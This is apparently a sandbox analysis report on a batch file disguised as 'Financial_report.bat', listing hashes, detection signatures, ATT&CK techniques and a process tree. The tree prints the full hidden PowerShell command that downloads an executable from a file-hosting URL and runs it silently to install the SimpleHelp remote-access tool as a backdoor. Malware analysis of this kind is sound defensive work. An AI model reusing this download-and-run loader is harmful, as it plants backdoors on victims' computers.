676064288d38794cc07da8d8d86e369cead782fbf37b1ac54b789c9593fcf7e6

Analysis

max time kernel
150s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 00:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Financial_report.bat
Size 1KB
Sample260724-ah2phadn3v
SHA256 676064288d38794cc07da8d8d86e369cead782fbf37b1ac54b789c9593fcf7e6
MD5 a423e11f1dd42708f45e2ab2ca7db4e6
SHA1 8402ed2a193626df7b0c7da6a745b3baa6b4bc9e
SHA512 285b42ceda84246ed2c2598270d09ef2a6117fcdf4c252e194ef1e8da62136e92d73d5f61e67343fbc70a042368428c2c46f232115ea02c359d44e84c52fe9af
TLSH
T1B01163466B052A2D0B32D8AACEAB06F5E34433A54F0933D430F080E4742DBD245D35CF
MD5 SHA1 SHA512 TLSH

Score

8^/10

backdoor execution rat

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2136	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe
2136	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	2136	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5156	installer.exe

SimpleHelp remote administration tool 1 IoCs

SimpleHelp is a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000f00000001c3f7-17.dat	rat_simplehelp

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4404	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2136	powershell.exe
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4404 wrote to memory of 2136	4404	cmd.exe	90
PID 4404 wrote to memory of 5156	4404	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Financial_report.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'https://pixeldrain.com/api/file/3v92oJiL' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.exe' -UseBasicParsing -ErrorAction Stop } catch { exit 1 }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Users\Admin\AppData\Local\Temp\installer.exe
  "C:\Users\Admin\AppData\Local\Temp\installer.exe" /silent
  2⤵
  - Executes dropped EXE
  PID:5156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

nativesplash.png

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\nativesplash.png
Size 8KB
SHA256 5ac80b373a7de315cc803eea0fc640335369df062de52b53c2a4175af2c0a2a7
MD5 08051133e368d61036576d3ed5b9cc14
SHA1 817e7a73eb33ab39e3c4d8c99a00c9d05c64f5c5
SHA512 93400dc7b885e2f51942ccba11ed7f1ebc82b9d726aa3b5c11ea118bfa93d20594243449ce37195cf72387064514c01d0d2d38776d7d049e148050edf873b7ce
SSDEEP 192:XFcpG2JMh/HwqndQb0qZzAuc6SyLK8hC5W+Cyd9kipsR5iyjR:ik48YadQbxO6PLpCWHGVSIyjR
TLSH
T16112BFCC406E7CA471E2012A8A44C75117B625B11D55BE2A3A41DCEB618CEDF2CFBAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

installer.exe

Path C:\Users\Admin\AppData\Local\Temp\installer.exe
Size 1.6MB
SHA256 5bb7c2f0119d0b715db8718d6d934af6d0e23bebbf85f8b31a734a22c1ae2ced
MD5 e3c57bf0fe4cd1063f9668e62a4bd21f
SHA1 14c8cea2496f0d19ccb8be22b24e2495e314ea48
SHA512 50f4def8a9a1fcfff8684de0bc9ba6f22ff481dc6f70ce0d5b2f1954907f83080fa34e6709d7c90638be1f269898901c2ec8f4e36c0345895ff9d8231fb2a89c
SSDEEP 49152:0aHqbMGOOMRjiornbPOBrwIt2OwihPJSfkKIxVT:lTdZiJrRDwIBSMKIxVT
TLSH
T1CA85016AF7A658F1D9A7D838C6928363FFB17168031462D707A08D666F733E06A3D305
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2136-8-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-5-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-6-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-7-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-0-0x00007FFEC4E5F000-0x00007FFEC4E60000-memory.dmp

Download

memory/2136-9-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-10-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-14-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-13-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-4-0x00007FFEC4CD0000-0x00007FFEC5674000-memory.dmp

Download

memory/2136-3-0x0000019605690000-0x00000196056B2000-memory.dmp

Download